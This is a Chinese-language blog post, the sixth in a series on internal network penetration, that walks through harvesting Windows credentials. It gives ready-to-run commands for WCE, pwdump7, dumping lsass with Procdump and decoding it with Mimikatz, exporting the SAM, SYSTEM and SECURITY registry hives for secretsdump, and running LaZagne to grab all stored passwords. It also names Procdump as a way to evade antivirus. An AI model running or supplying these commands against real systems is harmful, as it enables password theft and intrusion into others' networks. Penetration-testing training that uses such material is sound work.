内网渗透之内网信息收集（六）

目录

凭证信息收集

05wce

06pwddump7

07ophcrack

08Procdump+Mimikatz (常用免杀)

09注册表导出hash

10lazagne

内网渗透之内网信息收集(七)_不知名白帽的博客-CSDN博客

---

凭证信息收集

05wce

WCE：windows credentials editor

WCE是跟mimikatz齐名的一款hash管理工具

官网地址：https://www.ampliasecurity.com/research.html

32位下载：https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip

64位下载：https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

历史版本下载：https://www.ampliasecurity.com/research/windows-credentials-editor/

WCE使用说明：

wce.exe -l(获取用户哈希)

wce.exe -w(获取用户明文密码)

06pwddump7

这款工具可以读取出当前系统的各个用户的密码hash(包括LM和NTLM)

在命令行输入Pwddump7.txt就可以读取出hash并显示出来，也可以保存到一个文件中

07ophcrack

如果网站无法破解出hash值，我们可以使用ophcrack工具配合彩虹表自己破解。

工具下载：https://ophcrack.sourceforge.io/

彩虹表：

https://ophcrack.sourceforge.io/tables.php

http://project-rainbowcrack.com/table.htm

08Procdump+Mimikatz (常用免杀)

Procdump下载： https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出：

For 32bits：procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits：procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后使用mimikatz还原密码：

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

09注册表导出hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\SECURITY security.hiv

导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。

mimikatz.exe “lsadump::sam /system:system.hiv /sam:sam.hiv” exit

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

10lazagne

LaZagne 是用于获取存储在本地计算机上的大量密码的开源应用程序。 每个软件都使用不同的技术(纯文本、API、自定义算法、数据库等)存储其密码。LaZagne 的作用就是找到最常用的一些软件的密码。 LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。但是对聊天软件的支持不够本土化，主要支持一些国外的聊天软件。

抓取所有支持软件的密码：

lazagne.exe all